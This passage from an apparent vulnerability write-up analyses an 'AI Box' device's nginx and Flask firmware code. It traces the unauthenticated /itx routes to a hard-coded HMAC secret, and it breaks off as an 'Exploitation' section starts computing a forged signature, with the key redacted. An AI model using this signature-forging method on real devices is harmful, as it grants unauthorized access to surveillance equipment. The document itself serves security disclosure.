<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> ../../AIBOX/web/conf/nginx.conf
    server <span class="o">{</span>
        listen        80<span class="p">;</span>
        server_name  localhost<span class="p">;</span>
        server_tokens off<span class="p">;</span>

        <span class="c">#charset koi8-r;</span>

        <span class="c">#access_log  logs/host.access.log  main;</span>
        <span class="c">#</span>
        <span class="c">## onvif</span>
        location /onvif <span class="o">{</span>
            proxy_pass   http://127.0.0.1:10030<span class="p">;</span>
	    <span class="o">}</span>
	    <span class="c">## http tunneling</span>
        location /live <span class="o">{</span>
            proxy_buffering off<span class="p">;</span>
            chunked_transfer_encoding off<span class="p">;</span>

            proxy_request_buffering off<span class="p">;</span>

            proxy_pass  http://127.0.0.1:701<span class="p">;</span>
	    <span class="o">}</span>

        location / <span class="o">{</span>
            root   html<span class="p">;</span>
            index  index.html index.htm<span class="p">;</span>
        <span class="o">}</span>

        location <span class="o">=</span> /favicon.ico <span class="o">{</span>
            access_log off<span class="p">;</span>
            log_not_found off<span class="p">;</span>
            <span class="k">return </span>404<span class="p">;</span>
        <span class="o">}</span>

        location <span class="o">=</span> /robots.txt <span class="o">{</span>
            access_log off<span class="p">;</span>
            log_not_found off<span class="p">;</span>
            <span class="k">return </span>404<span class="p">;</span>
        <span class="o">}</span>
		<span class="o">[</span>...]
    <span class="c"># HTTPS server</span>
    <span class="c">#</span>
    server <span class="o">{</span>
        <span class="c"># error_page 497 = @fallback;</span>
        error_page 497 https://<span class="nv">$host</span>:8443<span class="nv">$request_uri</span><span class="p">;</span>

        listen        8443 ssl<span class="p">;</span> &lt;<span class="nt">-------</span>
        server_name  _<span class="p">;</span>
        server_tokens off<span class="p">;</span>
		<span class="o">[</span>...]
        <span class="c">## onvif</span>
        location /onvif <span class="o">{</span>
            proxy_pass   http://127.0.0.1:10030<span class="p">;</span>
	<span class="o">}</span>
        
        location /itx <span class="o">{</span>
            include proxy.conf<span class="p">;</span>
        <span class="o">}</span>
        location ~ ^/api/system/management/db/import/<span class="nv">$ </span><span class="o">{</span>
            client_max_body_size 256M<span class="p">;</span>
            include proxy.conf<span class="p">;</span>
        <span class="o">}</span>
        location ~ ^/api/system/management/fwupdate/<span class="o">(</span>upload|run<span class="o">)</span>/<span class="nv">$ </span><span class="o">{</span>
            client_max_body_size 32M<span class="p">;</span>
            include proxy.conf<span class="p">;</span>
        <span class="o">}</span>
        <span class="c">#Location for JanusGW - ugiepark 20190430</span>
        <span class="c">#location /janus {</span>
        <span class="c">#        proxy_set_header Host $host;</span>
        <span class="c">#        proxy_set_header X-Real-IP $remote_addr;</span>
        <span class="c">#        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span>
        <span class="c">#        proxy_pass http://127.0.0.1:8088;</span>
        <span class="c">#}</span>
        <span class="c">#location /download/ {</span>
        <span class="c">#    auth_digest 'itxrealm';</span>
        <span class="c">#    auth_digest_user_file /etc/passwd.digest;</span>
        <span class="c">#    auth_digest_expires 5s;</span>
        <span class="c">#    auth_digest_replays 500;</span>
        <span class="c">#    auth_digest_maxtries 30;</span>
        <span class="c">#    auth_digest_evasion_time 60s;</span>
        <span class="c">#    root /common;</span>
        <span class="c">#    sendfile on;</span>
        <span class="c">#}</span>
        location /ws <span class="o">{</span>
            proxy_http_version 1.1<span class="p">;</span>
            proxy_set_header Upgrade <span class="nv">$http_upgrade</span><span class="p">;</span>
            proxy_set_header Connection <span class="s2">"Upgrade"</span><span class="p">;</span>
            proxy_set_header Origin <span class="s2">""</span><span class="p">;</span>
            <span class="c">#proxy_set_header Host $host;</span>
            <span class="c">#proxy_set_header X-Real-IP $remote_addr;</span>
            <span class="c">#proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span>
            proxy_pass http://127.0.0.1:702<span class="p">;</span>
        <span class="o">}</span>
        location / <span class="o">{</span>
            <span class="c">#auth_digest 'itxrealm';</span>
            <span class="c">#auth_digest_user_file /etc/passwd.digest;</span>
            <span class="c">#auth_digest_expires 5s;</span>
            <span class="c">#auth_digest_replays 500;</span>
            <span class="c">#auth_digest_maxtries 30;</span>
            <span class="c">#auth_digest_evasion_time 60s;</span>
            include proxy.conf<span class="p">;</span>
        <span class="o">}</span>
		<span class="o">[</span>...]
</code></pre></div></div>

<p>Since I found this AI Box web service being exposed on TCP port <code class="language-plaintext highlighter-rouge">8443</code>, focusing on the HTTPS configuration part made sense. There was indeed <em>tons of interesting information</em> on this nginx configuration file(s) to look for e.g. misconfigurations or simply to understand the architecture of this device. Just for the record: I ran into a lot of rabbit holes during this process!</p>

<p>But the <code class="language-plaintext highlighter-rouge">location /</code> directive should be a good starting point, so <code class="language-plaintext highlighter-rouge">proxy.conf</code> in the same directory was investigated next.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>proxy.conf 
proxy_set_header Host <span class="nv">$host</span><span class="p">;</span>
proxy_set_header X-Real-IP <span class="nv">$remote_addr</span><span class="p">;</span>
proxy_set_header X-Forwarded-For <span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span>
proxy_pass http://127.0.0.1:8000<span class="p">;</span>
</code></pre></div></div>

<p>A web service running on TCP port 8000, listening only on the loopback interface seemed to handle incoming HTTP requests for this case. But we didn’t have access to an AI Box through a shell or something. Also I didn’t want to waste a lot of time with trying to get this running in a QEMU environment at this early stage of investigation. So I decided: let’s just go to the parent directory <code class="language-plaintext highlighter-rouge">AIBOX/web</code> first and try to l00t some stuff. The <code class="language-plaintext highlighter-rouge">run.py</code> contained the following Python code.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">webra</span> <span class="kn">import</span> <span class="n">create_app</span><span class="p">,</span> <span class="n">create_api_spec</span><span class="p">,</span> <span class="n">cert_restore</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">app</span> <span class="o">=</span> <span class="n">create_app</span><span class="p">()</span> <span class="c1"># [1]
</span>
    <span class="c1"># cert restore
</span>    <span class="n">cert_restore</span><span class="p">()</span>

    <span class="c1"># api document
</span>    <span class="n">create_api_spec</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>

    <span class="c1"># run server
</span>    <span class="c1"># app.run(host='0.0.0.0', threaded=True, port=8000, debug=False)
</span>    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'127.0.0.1'</span><span class="p">,</span> <span class="n">threaded</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">8000</span><span class="p">,</span> <span class="n">debug</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
</code></pre></div></div>

<p>Direct hit! We recognize the port 8000 again and we knew Python was the next part of our tech stack enumeration. Following the code at <code class="language-plaintext highlighter-rouge">[1]</code> brought me to the file <code class="language-plaintext highlighter-rouge">webra/__init__.py</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">apispec</span> <span class="kn">import</span> <span class="n">APISpec</span>
<span class="kn">from</span> <span class="nn">apispec.ext.marshmallow</span> <span class="kn">import</span> <span class="n">MarshmallowPlugin</span>
<span class="kn">from</span> <span class="nn">apispec_webframeworks.flask</span> <span class="kn">import</span> <span class="n">FlaskPlugin</span>
<span class="kn">from</span> <span class="nn">marshmallow</span> <span class="kn">import</span> <span class="n">Schema</span><span class="p">,</span> <span class="n">fields</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span>
<span class="kn">from</span> <span class="nn">.</span> <span class="kn">import</span> <span class="n">urls</span>

<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_network_video_source</span><span class="p">,</span> <span class="n">api_network_metadata</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_system_info</span><span class="p">,</span> <span class="n">api_system_management</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_board_io</span><span class="p">,</span> <span class="n">api_bi_counter</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_rule_event_server</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_snapshot</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_source_lpr</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_source_fr</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_capability</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_network_wireless_setup</span>
<span class="kn">from</span> <span class="nn">webra.routes</span> <span class="kn">import</span> <span class="n">api_system_db</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">shutil</span>

<span class="k">def</span> <span class="nf">create_app</span><span class="p">():</span>
    <span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">,</span> <span class="n">instance_relative_config</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="c1"># [2]
</span>    <span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">.</span><span class="n">from_mapping</span><span class="p">(</span>
        <span class="n">SECRET_KEY</span><span class="o">=</span><span class="s">'dev'</span><span class="p">,</span>
        <span class="n">DATABASE</span><span class="o">=</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">app</span><span class="p">.</span><span class="n">instance_path</span><span class="p">,</span> <span class="s">'db.sqlite3'</span><span class="p">),</span>
    <span class="p">)</span>
    <span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">.</span><span class="n">from_pyfile</span><span class="p">(</span><span class="s">'config.py'</span><span class="p">,</span> <span class="n">silent</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">app</span><span class="p">.</span><span class="n">config</span><span class="p">[</span><span class="s">'MAX_CONTENT_LENGTH'</span><span class="p">]</span> <span class="o">=</span> <span class="mi">256</span> <span class="o">*</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">1024</span>

    <span class="n">urls</span><span class="p">.</span><span class="n">init_app</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">app</span>
<span class="p">[...]</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">[2]</code> disclosed that the targeted web services were built on <em>Flask</em>, a <a href="https://palletsprojects.com/p/flask/">micro web framework</a> written in Python. We spotted other interesting clues like hard-coded secret keys, SQLite as database engine etc. pp. Going back to <code class="language-plaintext highlighter-rouge">run.py</code> a method <code class="language-plaintext highlighter-rouge">create_api_spec(app)</code> got called.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">create_api_spec</span><span class="p">(</span><span class="n">app</span><span class="p">):</span>
    <span class="c1"># api doucment
</span>    <span class="c1">#  refer
</span>    <span class="c1">#  - https://redocly.github.io/redoc/
</span>    <span class="c1">#  - https://redocly.github.io/redoc/openapi.yaml
</span>    <span class="c1">#  - https://marshmallow.readthedocs.io/en/stable/api_reference.html
</span>    <span class="c1">#  - https://apispec.readthedocs.io/en/latest/special_topics.html
</span>    <span class="n">info</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">"description"</span><span class="p">:</span> <span class="p">(</span><span class="s">'# Authentication</span><span class="se">\n</span><span class="s">'</span>
                        <span class="s">'1. User-Agent in HTTP header SHOULD be </span><span class="se">\"</span><span class="s">Client Application</span><span class="se">\"</span><span class="s">.</span><span class="se">\n</span><span class="s">'</span>
                        <span class="s">'2. One of the following HTTP API authentications is required:</span><span class="se">\n</span><span class="s">'</span>
                        <span class="s">'  - Digest Authentication (Recommended)</span><span class="se">\n</span><span class="s">'</span>
                        <span class="s">'  - Basic Authentication</span><span class="se">\n</span><span class="s">'</span>
                        <span class="s">'</span><span class="se">\n</span><span class="s">Most HTTP clients or libraries support these authentication methods. (E.g. curl, wget, Postman)</span><span class="se">\n</span><span class="s">'</span>
                        <span class="p">)</span>
    <span class="p">}</span>
    <span class="n">spec</span> <span class="o">=</span> <span class="n">APISpec</span><span class="p">(</span>
        <span class="n">title</span><span class="o">=</span><span class="s">"HTTP API Document"</span><span class="p">,</span>
        <span class="n">version</span><span class="o">=</span><span class="s">"1.0.0"</span><span class="p">,</span>
        <span class="n">openapi_version</span><span class="o">=</span><span class="s">"3.0.2"</span><span class="p">,</span>
        <span class="n">plugins</span><span class="o">=</span><span class="p">[</span><span class="n">FlaskPlugin</span><span class="p">(),</span> <span class="n">MarshmallowPlugin</span><span class="p">()],</span>
        <span class="n">servers</span><span class="o">=</span><span class="p">[{</span><span class="s">'url'</span><span class="p">:</span> <span class="s">'/'</span><span class="p">}],</span>
        <span class="n">info</span><span class="o">=</span><span class="n">info</span><span class="p">,</span>
        <span class="n">tags</span><span class="o">=</span><span class="p">[],</span>
    <span class="p">)</span>

    <span class="k">with</span> <span class="n">app</span><span class="p">.</span><span class="n">test_request_context</span><span class="p">():</span> <span class="c1"># [3]
</span>        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_capability</span><span class="p">.</span><span class="n">get_capability</span><span class="p">)</span>
        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_network_video_source</span><span class="p">.</span><span class="n">get_vsources</span><span class="p">)</span>
        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_network_video_source</span><span class="p">.</span><span class="n">update_vsources</span><span class="p">)</span>
        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_source_lpr</span><span class="p">.</span><span class="n">_CR_lps</span><span class="p">)</span>
        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_source_lpr</span><span class="p">.</span><span class="n">_UD_lp</span><span class="p">)</span>
        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_source_lpr</span><span class="p">.</span><span class="n">_REL_bind</span><span class="p">)</span>
        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_source_lpr</span><span class="p">.</span><span class="n">_REL_unbind</span><span class="p">)</span>
        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_source_fr</span><span class="p">.</span><span class="n">_CR_faces</span><span class="p">)</span>
        <span class="n">spec</span><span class="p">.</span><span class="n">path</span><span class="p">(</span><span class="n">view</span><span class="o">=</span><span class="n">api_source_fr</span><span class="p">.</span><span class="n">_UD_face</span><span class="p">)</span>
		<span class="p">[...]</span>
</code></pre></div></div>

<p>Nice, an API specification definition probably generating Swagger-like output for different URI paths listed at <code class="language-plaintext highlighter-rouge">[3]</code>. <code class="language-plaintext highlighter-rouge">spec.path(view=api_network_video_source.get_vsources)</code> sounded like an interesting path for a first drill-down. We’re looking at an AI Box doing fancy stuff with video stream content, right? Jumping to the route definition in <code class="language-plaintext highlighter-rouge">webra/routes/api_network_video_source.py</code> showed this.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">bp</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">get_vsources</span><span class="p">():</span>
    <span class="s">"""
    Video Source 조회
    ---
    get:
      tags:
        - Video Source
      summary: Get Video Sources
      description: |
        Returns a list of video sources.&lt;br&gt;
        The length of the list is the maximum number of channels supported by the device.

      responses:
        '200':
          description: successful operation
          content:
            application/json:
              schema:
                type: array
                items: VideoSourceSchema
    """</span>
    <span class="n">vsources</span> <span class="o">=</span> <span class="p">[]</span>
		<span class="n">count</span> <span class="o">=</span> <span class="n">nf_sysdb</span><span class="p">.</span><span class="n">get_uint</span><span class="p">(</span><span class="s">"net.vsource.count"</span><span class="p">)</span>
	<span class="p">[...]</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">nf_sysdb</code> modules by the way were not resolved in my IDE automatically. Why? Because these were defined in <code class="language-plaintext highlighter-rouge">.pyc</code> files. One had to decompile these with one of many pyc decompilers available today.</p>

<blockquote>
  <p>pyc file contains the “compiled bytecode” of the imported module/program so that the “translation” from source code to bytecode can be skipped on subsequent imports of the *. py file. Having a *. pyc file saves the compilation time of converting the python source code to byte code, every time the file is imported. (<a href="https://www.geeksforgeeks.org/how-to-remove-all-pyc-files-in-python/">Source</a>)</p>
</blockquote>

<p>As the name of the module indicated, these were operations on the database but I wasn’t interested in these too much, so let’s just proceed. Unfortunately, I couldn’t simply call the endpoint from an unauthenticated context. The “responsible” part: <code class="language-plaintext highlighter-rouge">from ..auth.digest import auth</code> probably. Investigating a bit further brought me back to the method <code class="language-plaintext highlighter-rouge">create_app()</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">create_app</span><span class="p">():</span>
    <span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">,</span> <span class="n">instance_relative_config</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
		<span class="p">[...]</span>
    <span class="n">urls</span><span class="p">.</span><span class="n">init_app</span><span class="p">(</span><span class="n">app</span><span class="p">)</span> <span class="c1"># [4]
</span>    <span class="k">return</span> <span class="n">app</span>
</code></pre></div></div>

<p>We follow the call at <code class="language-plaintext highlighter-rouge">[4]</code> to <code class="language-plaintext highlighter-rouge">webra/urls.py</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">init_app</span><span class="p">(</span><span class="n">app</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">url</span> <span class="ow">in</span> <span class="n">urls</span><span class="p">:</span>
        <span class="n">bp</span><span class="p">,</span> <span class="n">prefix</span><span class="p">,</span> <span class="n">login_required</span> <span class="o">=</span> <span class="n">url</span>
        <span class="k">if</span> <span class="n">login_required</span><span class="p">:</span>
            <span class="n">bp</span><span class="p">.</span><span class="n">before_request</span><span class="p">(</span><span class="n">auth</span><span class="p">.</span><span class="n">login_required</span><span class="p">(</span><span class="k">lambda</span> <span class="o">*</span><span class="n">args</span><span class="p">:</span> <span class="bp">None</span><span class="p">))</span>
            <span class="n">bp</span><span class="p">.</span><span class="n">before_request</span><span class="p">(</span><span class="n">check_permission</span><span class="p">)</span>
        <span class="n">app</span><span class="p">.</span><span class="n">register_blueprint</span><span class="p">(</span><span class="n">bp</span><span class="p">,</span> <span class="n">url_prefix</span><span class="o">=</span><span class="n">prefix</span><span class="p">)</span>
<span class="p">[...]</span>
</code></pre></div></div>

<p>For every entry in the <code class="language-plaintext highlighter-rouge">urls</code> list, a triple <code class="language-plaintext highlighter-rouge">bp, prefix, login_required</code> was read. If <code class="language-plaintext highlighter-rouge">login_required</code> evaluated to <code class="language-plaintext highlighter-rouge">True</code>, the <code class="language-plaintext highlighter-rouge">auth.login_required()</code> call got relevant, implemented in <code class="language-plaintext highlighter-rouge">bwebra/auth/multiauth.py</code>. The code basically checked for <em>Bearer tokens</em> and <em>Basic Auth</em> headers which were then validated in subsequent steps. I didn’t spot any immediate flaws in their logic (you might?), so got back to the <code class="language-plaintext highlighter-rouge">urls</code> list.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">urls</span> <span class="o">=</span> <span class="p">[</span>
    <span class="c1"># (blueprint, url_prefix, login_required)
</span>    <span class="p">(</span><span class="n">api_capability</span><span class="p">.</span><span class="n">bp</span><span class="p">,</span> <span class="s">'/itx'</span><span class="p">,</span> <span class="bp">False</span><span class="p">),</span>
    <span class="c1"># (api_rule_face_recognition.bp, '/api-noauth/rule/fr', False),
</span>    <span class="p">(</span><span class="n">api_events</span><span class="p">.</span><span class="n">bp</span><span class="p">,</span> <span class="s">'/api/events'</span><span class="p">,</span> <span class="bp">True</span><span class="p">),</span>
    <span class="p">(</span><span class="n">api_event_callback_zmq</span><span class="p">.</span><span class="n">bp</span><span class="p">,</span> <span class="s">'/api/event/callback/zmq'</span><span class="p">,</span> <span class="bp">True</span><span class="p">),</span>
    <span class="p">(</span><span class="n">api_network_ip_setup</span><span class="p">.</span><span class="n">bp</span><span class="p">,</span> <span class="s">'/api/network/ip'</span><span class="p">,</span> <span class="bp">True</span><span class="p">),</span>
    <span class="p">(</span><span class="n">api_network_metadata</span><span class="p">.</span><span class="n">bp</span><span class="p">,</span> <span class="s">'/api/network/metadata'</span><span class="p">,</span> <span class="bp">True</span><span class="p">),</span>
    <span class="p">(</span><span class="n">api_network_video_source</span><span class="p">.</span><span class="n">bp</span><span class="p">,</span> <span class="s">'/api/network/vsources'</span><span class="p">,</span> <span class="bp">True</span><span class="p">),</span>
    <span class="p">(</span><span class="n">api_network_sequrinet</span><span class="p">.</span><span class="n">bp</span><span class="p">,</span> <span class="s">'/api/network/sequrinet'</span><span class="p">,</span> <span class="bp">True</span><span class="p">),</span>
	<span class="p">[...]</span>
</code></pre></div></div>

<p>As expected, every entry consisted of a triple, the third part specifying the <code class="language-plaintext highlighter-rouge">login_required</code> condition. At the very top, I found (the only) entry with a <code class="language-plaintext highlighter-rouge">False</code>: <code class="language-plaintext highlighter-rouge">(api_capability.bp, '/itx', False)</code>. No authentication required for routes defined in <code class="language-plaintext highlighter-rouge">webra/routes/api_capability.py</code>? Let’s have a look at the route definitions.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">bp</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/capability/'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">get_capability</span><span class="p">():</span>
    <span class="s">"""
    Get Capability
    ---
    get:
      tags:
        - Capability
      summary: Get Capability
      description: Get system capability, license info, etc.
	  [...]
</span></code></pre></div></div>

<p>Mhmm, no authentication/authorization checks visible but also not really any code with interesting processing of user-controllable input. Next one:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">bp</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/ai/analytics/'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">get_ai_analytics</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">authentication</span><span class="p">(</span> <span class="c1"># [6]
</span>            <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'X-Auth-Signature'</span><span class="p">),</span>
            <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'Date'</span><span class="p">),</span>
            <span class="n">request</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">()):</span>
        <span class="k">return</span> <span class="n">HttpUnauthorized</span><span class="p">(</span><span class="s">""</span><span class="p">)</span>
    
    <span class="n">vsources</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">lang</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"lang"</span><span class="p">,</span> <span class="s">"en"</span><span class="p">)</span> <span class="c1"># [5]
</span>    <span class="n">count</span> <span class="o">=</span> <span class="n">nf_sysdb</span><span class="p">.</span><span class="n">get_uint</span><span class="p">(</span><span class="s">"net.vsource.count"</span><span class="p">)</span>
	<span class="p">[...]</span>
</code></pre></div></div>

<p>Yes, some user-controlled input indeed at <code class="language-plaintext highlighter-rouge">[5]</code> but what is <code class="language-plaintext highlighter-rouge">[6]</code> all about? They implemented another “authentication” check just for this routing class? Great…</p>

<h1 id="the-flaw">The Flaw</h1>

<p>The authentication (or better authorization imho) check seemed to use different parts of the request to decide if access would be granted or not via the method <code class="language-plaintext highlighter-rouge">authentication</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">authentication</span><span class="p">(</span><span class="n">signature</span><span class="p">,</span> <span class="n">rfc822_date</span><span class="p">,</span> <span class="n">body</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">plain</span> <span class="o">=</span> <span class="s">'{0}:{1}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">body</span><span class="p">,</span> <span class="n">rfc822_date</span><span class="p">)</span>
        <span class="n">hamc_key</span> <span class="o">=</span> <span class="s">'[REDACTED]'</span>
        <span class="n">signature_want</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">hamc_key</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">plain</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">()</span>

        <span class="n">timestamp</span> <span class="o">=</span> <span class="n">email</span><span class="p">.</span><span class="n">utils</span><span class="p">.</span><span class="n">mktime_tz</span><span class="p">((</span><span class="n">email</span><span class="p">.</span><span class="n">utils</span><span class="p">.</span><span class="n">parsedate_tz</span><span class="p">(</span><span class="n">rfc822_date</span><span class="p">)))</span>
        <span class="n">expires</span> <span class="o">=</span> <span class="n">timestamp</span> <span class="o">+</span> <span class="mi">3600</span>
        <span class="n">cur_ts</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">())</span>

    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">False</span>

    <span class="k">if</span> <span class="n">signature_want</span> <span class="o">==</span> <span class="n">signature</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">cur_ts</span> <span class="o">&lt;</span> <span class="n">expires</span> <span class="ow">and</span> <span class="n">cur_ts</span> <span class="o">-</span> <span class="n">timestamp</span> <span class="o">&lt;</span> <span class="mi">3600</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">True</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"* Token Auth Failed. cur_ts[{}] expires[{}]"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">cur_ts</span><span class="p">,</span> <span class="n">expires</span><span class="p">))</span>
    <span class="k">return</span> <span class="bp">False</span>
</code></pre></div></div>

<p>So the method took three parameters from the request:</p>

<ul>
  <li>A header value for the key <code class="language-plaintext highlighter-rouge">X-Auth-Signature</code></li>
  <li>A header value for the key <code class="language-plaintext highlighter-rouge">Date</code></li>
  <li>The request body content</li>
</ul>

<p>Here was the flaw: <strong>a hard-coded secret</strong> for the HMAC calculation in <code class="language-plaintext highlighter-rouge">hamc_key</code> (yes, I copypasta’d this variable name). The provided request body got concatenated with the provided <code class="language-plaintext highlighter-rouge">Date</code> header value and then <code class="language-plaintext highlighter-rouge">hmac.new</code> calculated a signature value across the entire content. If the calculated value equaled to the header value for <code class="language-plaintext highlighter-rouge">X-Auth-Signature</code>: <strong>Access Granted</strong>. Also one had to take into account that there was an accepted time range only for the corresponding <code class="language-plaintext highlighter-rouge">Date</code> value. This shouldn’t have been a problem, though, since a simple GET request to <code class="language-plaintext highlighter-rouge">/</code> returned the device’s timestamp in the <code class="language-plaintext highlighter-rouge">Date</code> response header anyways.</p>

<h1 id="exploitation">Exploitation</h1>

<p>So all the routes in <code class="language-plaintext highlighter-rouge">webra/routes/api_capability.py</code> should theoretically now have been accessible to us. For a simple GET request to e.g. the URI path <code class="language-plaintext highlighter-rouge">/itx/ai/analytics/</code>, we could calculate the the HMAC easily</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">hmac</span>

<span class="n">body</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">rfc822_date</span> <span class="o">=</span> <span class="s">"Mon, 26 Jun 2023 08:03:16 GMT"</span>

<span class="n">plain</span> <span class="o">=</span> <span class="s">'{0}:{1}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">body</span><span class="p">,</span> <span class="n">rfc822_date</span><span class="p">)</span>
<span class="n">hamc_key</span> <span class="o">=</span> <span class="s">'&lt;REDACTED&gt;'</span>
